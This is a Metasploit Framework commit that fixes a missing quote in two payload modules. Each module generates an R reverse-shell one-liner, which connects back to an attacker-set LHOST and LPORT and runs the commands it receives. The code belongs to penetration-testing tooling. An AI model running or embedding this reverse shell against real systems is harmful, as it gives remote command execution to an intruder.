add missing quotes

bug/bundler_fix
Brent Cook 2017-08-21 16:16:03 -05:00
parent edbe8d73c2
commit 031f48725f
No known key found for this signature in database
GPG Key ID: 1FFAA0B24B708F96
2 changed files with 2 additions and 2 deletions

View File

@ -42,7 +42,7 @@ module MetasploitModule
def r_string
lhost = datastore['LHOST']
lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost)
return "s<-socketConnection(host='#{lhost},port=#{datastore['LPORT']}," +
return "s<-socketConnection(host='#{lhost}',port=#{datastore['LPORT']}," +
"blocking=TRUE,server=FALSE,open='r+');while(TRUE){writeLines(readLines" +
"(pipe(readLines(s, 1))),s)}"
end

View File

@ -38,7 +38,7 @@ module MetasploitModule
def r_string
lhost = datastore['LHOST']
lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost)
return "s<-socketConnection(host='#{lhost},port=#{datastore['LPORT']}," +
return "s<-socketConnection(host='#{lhost}',port=#{datastore['LPORT']}," +
"blocking=TRUE,server=FALSE,open='r+');while(TRUE){writeLines(readLines" +
"(pipe(readLines(s, 1))),s)}"
end